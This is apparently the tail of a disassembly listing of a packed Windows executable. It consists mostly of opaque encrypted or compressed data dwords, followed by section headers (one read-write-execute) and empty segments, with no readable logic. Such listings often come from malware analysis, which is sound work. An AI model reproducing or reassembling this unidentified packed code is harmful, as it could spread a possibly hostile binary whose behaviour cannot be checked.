		dd 0E94AA5E2h, 99101A0h, 3098DCC8h, 0C7C8961h, 7995C905h
		dd 66204466h, 82B8A04Dh, 41514AF5h, 0ACC2D65Ah,	0EA50F0Fh
		dd 7C589CC0h, 7BE351CAh, 0AAAB9C19h, 0F4B42B02h, 1BE33156h
		dd 1BC9CE75h, 294955AEh, 0CD7F3DBh, 58150886h, 0F48B48CBh
		dd 433713D3h, 0AB15FCFFh, 0AD773E91h, 537DC568h, 3C35424Bh
		dd 44DFD27Dh, 601D4B4Fh, 0E0EA053Eh, 0EF0D6B4Dh, 10624AF2h
		dd 0E133F60Eh, 9B8A4356h, 70CA1AACh, 0E3C80189h, 7103A744h
		dd 0E9D3F4C9h, 6A4F3C56h, 0AB350915h, 0BE747953h, 58295D3Fh
		dd 38F61517h, 5247B533h, 0D8B33C68h, 10C7B438h,	0F25B01h
		dd 87610E84h, 2857A459h, 0B9739C9Fh, 0E75D550Eh, 282E129h
		dd 0DF35E51Ah, 9CB07E15h, 0EB85A0F3h, 1E8D8AD0h, 0BF7FA426h
		dd 39BA9718h, 0D5B61AB2h, 1FB592A4h, 49B58164h,	4F85610Ah
		dd 0C7C6EC6Ch, 81CBE424h, 84856842h, 0CA559755h, 83254C63h
		dd 0D8B70C2Dh, 70766081h, 0BF8CB008h, 559CF59Dh, 8009B345h
		dd 9666DB92h, 0F3ED4A7Ch, 558F3F49h, 62A4ED99h,	82584C29h
		dd 73D25272h, 0C4D385E4h, 0D93F7918h, 444F5390h, 0E2B3E2ABh
		dd 7E79108h, 0BBBFFDEh,	0A353FBE6h, 0CEE80461h,	0BCEA9AC6h
		dd 0B3C55626h, 0C31B88E4h, 58546394h, 0C45BC8A8h, 0F9EE7AB9h
		dd 8CDCC27Bh, 0CC899F1Fh, 20BDB710h, 69390915h,	0D805C54Dh
		dd 0B752766Bh, 0A3B1A3B8h, 69C37682h, 0A14F6EE2h, 0B06BE0Dh
		dd 0E4C0397Dh, 4F57643Dh, 5129BD78h, 0E088CBD0h, 97D6FC99h
		dd 7A22FA42h, 0A451FED2h, 0C29704E2h, 0BCC90328h, 0CD8112A7h
		dd 0D7D70753h, 0B6DD17Bh, 13DAB22Ah, 0BC3C74F9h, 0C4AE661Fh
		dd 0FB6E23F0h, 0A7448BDAh, 27BAA6A6h, 2BFBE1C3h, 74CD0196h
		dd 898A66Fh, 0CD72BC4Ah, 0AEBB735Eh, 0E5D9308Fh, 933B312h
		dd 0FED50440h, 0F4543F60h, 46CD697Fh, 0A07F6CE4h, 0D2134222h
		dd 0F772320Bh, 995C5B72h, 62D670BBh, 64D789B9h,	11698D1Fh
		dd 0B216752Ah, 879C26CFh, 8FD9A8ACh, 0C61F8182h, 121CB4C3h
		dd 1BD9DABDh, 2651E180h, 0D827EC6Eh, 671DB68Ah,	53F69719h
		dd 50287228h, 5C4AD634h, 384FA74Eh, 1282B2CFh, 0BD30E8BDh
		dd 807AEB30h, 1F9527CDh, 5958305Dh, 4CF04D82h, 0CB1C0B3Eh
		dd 37D8AA9h, 0C84B2E25h, 4FBED427h, 5194CB35h, 0B07BA3F1h
		dd 5631513h, 0FC1BE424h, 23E7583Fh, 0CFA089CEh,	0BD9ED06h
		dd 1EBEA409h, 9C97C6EFh, 93635D33h, 591F7E30h, 0E3F49096h
		dd 0C037E7Bh, 0F4266478h, 19E8167Fh, 0D4C154DFh, 79DBDAC7h
		dd 9E5054E0h, 34E19A46h, 65BA66CEh, 2F5DADBAh, 54222247h
		dd 651D510Fh, 7F8D6526h, 0C2D24842h, 55EDEC8Fh,	0D9831A89h
		dd 0C042981Ah, 95AB402Ch, 0E168F591h, 0F492E116h, 70A0DCEDh
		dd 4ACAC625h, 0DAD297B0h, 0BEC6B45Ch, 7AC28B59h, 774610C1h
		dd 9308161h, 0B73E6A09h, 916557BBh, 0AEA35F9Eh,	2825F501h
		dd 0D39201BAh, 0C3F7FFF6h, 2F401B81h, 0BF2CA908h, 7783796Fh
		dd 0FE242338h, 0EBD91A69h, 0DB0E762Fh, 0DD8AC4FFh, 6DF682E7h
		dd 32B656C4h, 75BB82DEh, 729F3B2Ah, 7C8C2F20h, 97E80BC7h
		dd 8CC96D1Eh, 0E736C023h, 27D41E8Bh, 2467F978h,	632F5548h
		dd 0A20FC6E9h, 17201254h, 0CBF39061h, 0BBFE8019h, 0C23DA87h
		dd 55754107h, 0B6A9D45Ch, 7AD04417h, 96FDE063h,	5156D64Ch
		dd 99ABF2DEh, 0A4045ECBh, 38C22876h, 3014097Ah,	0E51DCB49h
		dd 0A628A4ADh, 0C9851B23h, 8947463h, 4A9F0B53h,	0EEA2BF0Ah
		dd 34E03C5Bh, 0B814D9A9h, 9971B5ACh, 2F1B1016h,	71B01E76h
		dd 0DA0039EDh, 0D663E7F5h, 0A0E0B2B5h, 0FE6E347h, 62D9D236h
		dd 45361B8Dh, 879F76E4h, 0DBFC2D11h, 87BBEF2Ch,	5B9552D2h
		dd 4DA962F7h, 67058BADh, 0CF8B4B33h, 0A953244Ah, 0C73202F1h
		dd 8C44752Fh, 987239Ah,	7CEC57Bh, 0E735F991h, 0DEAE58A2h
		dd 7858FA21h, 96C05CB5h, 0DE679CDFh, 0F4A0975Ch, 0AD68FCB2h
		dd 0DDD6C333h, 0FE9B853h, 10F4AEDEh, 27D919ACh,	6C2B1634h
		dd 0C190D04h, 0AB69F1Fh, 2EF35B42h, 9AF342Dh, 9EF2AF19h
		dd 0C64EE1D9h, 23A9A416h, 28DBD95Ch, 0E5F82007h, 5AB6B8E2h
		dd 22AFD398h, 0E12E270Fh, 0AC3E8438h, 150AD5A3h, 8586BF66h
		dd 519EBDE8h, 192D7D61h, 4E19A5Fh, 0D236CA08h, 0EEEE33D0h
		dd 83840EF1h, 73B2936Bh, 43A0FB79h, 2C807B3h, 11E696D3h
		dd 0DB25EA04h, 412A41E9h, 46557641h, 20653186h,	0A15DEAA3h
		dd 0BBDF2DB0h, 0F0DCB3CEh, 6C652FA7h, 7B76111Ah, 0CF45EF6h
		dd 5764EB53h, 82735E09h, 24D065EEh, 2E512309h, 0C716F1ECh
		dd 32D63271h, 0C3E09DB1h, 52411447h, 1B5D6FD4h,	67262367h
		dd 12E114BAh, 0EA5A7437h, 15B37416h, 8CBA13E9h,	4780EE75h
		dd 1D26A062h, 44B523A6h, 3AAECDC8h, 0C2A7A8B5h,	0F0D9B01Fh
		dd 0D7D5ABAAh, 0D42B8E98h, 4AF3DA61h, 0EBA184D3h, 8F629897h
		dd 0A42A38C1h, 0E5E3184Eh, 36FB5060h, 36365943h, 0BABD05B6h
		dd 0EF3323CCh, 0E207773Eh
		dd 0E888F8D4h, 25BBF2BAh, 62EA1B0Bh, 61092EB8h,	7D5A302Bh
		dd 2585A4D3h, 5DE80605h, 2FD38BAAh, 405FD560h, 425C339Bh
		dd 173AEC84h, 0A4FD56Fh, 21953D9h, 0B7E67976h, 0C62EBB2h
		dd 0A259A76Ah, 50B12F75h, 9CBE15C8h, 0EC9284D0h, 3B4C10BCh
		dd 57F80469h, 9C621DA6h, 6F1A2BAh, 402AF62Ch, 0F58691FCh
		dd 0E2E5D3F1h, 90D5EF88h, 132CB4C6h, 9FA4BF4Eh,	91574F06h
		dd 1D2ED80Fh, 0D2B92428h, 258E3A3Bh, 0D0FCBB21h, 0F8F3B333h
		dd 829ED5Bh, 4386B9C6h,	6B8B0C94h, 4927ABD0h, 36883093h
		dd 0C4D98A28h, 0D7D93C96h, 0E7BF7AE9h, 2E05DEDDh, 72BC492Fh
		dd 926A959Ch, 60CA1A8h,	0CCD04FD7h, 28C7149Bh, 261A1E84h
		dd 6233901Eh, 664B06A3h, 23BC6E5Bh, 5EE124FAh, 2DFD8BDAh
		dd 8207C929h, 8DA8923Eh, 2B59CD42h, 798C5B4Bh, 0AB32D83Ch
		dd 2A31A9FEh, 98002A3Dh, 74B79A4h, 0D052EB47h, 511E460Dh
		dd 52B62415h, 869C59Ah,	0A203A909h, 103B1EDAh, 71E78AAEh
		dd 0A3366342h, 43D8B709h, 526CA04h, 0AD5C990Eh,	5954CF3Bh
		dd 6CF35425h, 0F543091Ah, 68F54BE2h, 4A157A22h,	0E31237BDh
		dd 609DDBC4h, 95E4E6FBh, 7E88B388h, 0D330BF79h,	0C7F186AFh
		dd 0DCAB1328h, 3CFD3B88h, 52B74DD9h, 0A670C8B1h, 2F26B323h
		dd 2D19577Bh, 97A8686Dh, 0BF81E427h, 0BF4AC52Bh, 0C9A703DAh
		dd 961C7343h, 0AA586CBEh, 1B668400h, 0ABCB8BB0h, 0BF30CA3Ah
		dd 34DB198Bh, 0B02482BEh, 0E6715401h, 0FCE2D362h, 0F8C998E9h
		dd 0F98B41E8h, 0A4495A81h, 99CD1FA4h, 85F75DE2h, 0E9B25F8h
		dd 0BFDA2547h, 5477614Eh, 99741471h, 6183B1FFh,	0A3096F62h
		dd 91E05AE0h, 85D75B58h, 5ADCD28Ch, 0E809E2E6h,	4136ABE0h
		dd 5E26A4BBh, 0F50F97BCh, 91CDB8E6h, 0A5338B57h, 0EFA3D9A9h
		dd 8A42FDCEh, 3E898A57h, 4C5F0FD9h, 0DA3078A4h,	8A70EF1Eh
		dd 3E6A439Ch, 4F82C8B3h, 51BC2A60h, 4E36D252h, 0A400A48Fh
		dd 168h	dup(0)
_nsp1		ends

; Section 3. (virtual address 000B1000)
; Virtual size			: 00000DB8 (   3512.)
; Section size in file		: 00000DB8 (   3512.)
; Offset to raw	data for section: 000B1000
; Flags	E0000060: Text Data Executable Readable	Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure code
; Segment permissions: Read/Write/Execute
_nsp2		segment	para public 'CODE' use32
		assume cs:_nsp2
		;org 4B1000h
		assume es:nothing, ss:nothing, ds:_nsp0, fs:nothing, gs:nothing
		dd 36Eh	dup(0)
		dd 12h dup(?)
_nsp2		ends

; Section 4. (virtual address 000B2000)
; Virtual size			: 00001000 (   4096.)
; Section size in file		: 00000200 (	512.)
; Offset to raw	data for section: 000B1E00
; Flags	C0000040: Data Readable	Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure data
; Segment permissions: Read/Write
_idata2		segment	para public 'DATA' use32
		assume cs:_idata2
		;org 4B2000h
		dd 80h dup(0)
		align 1000h
_idata2		ends


		end start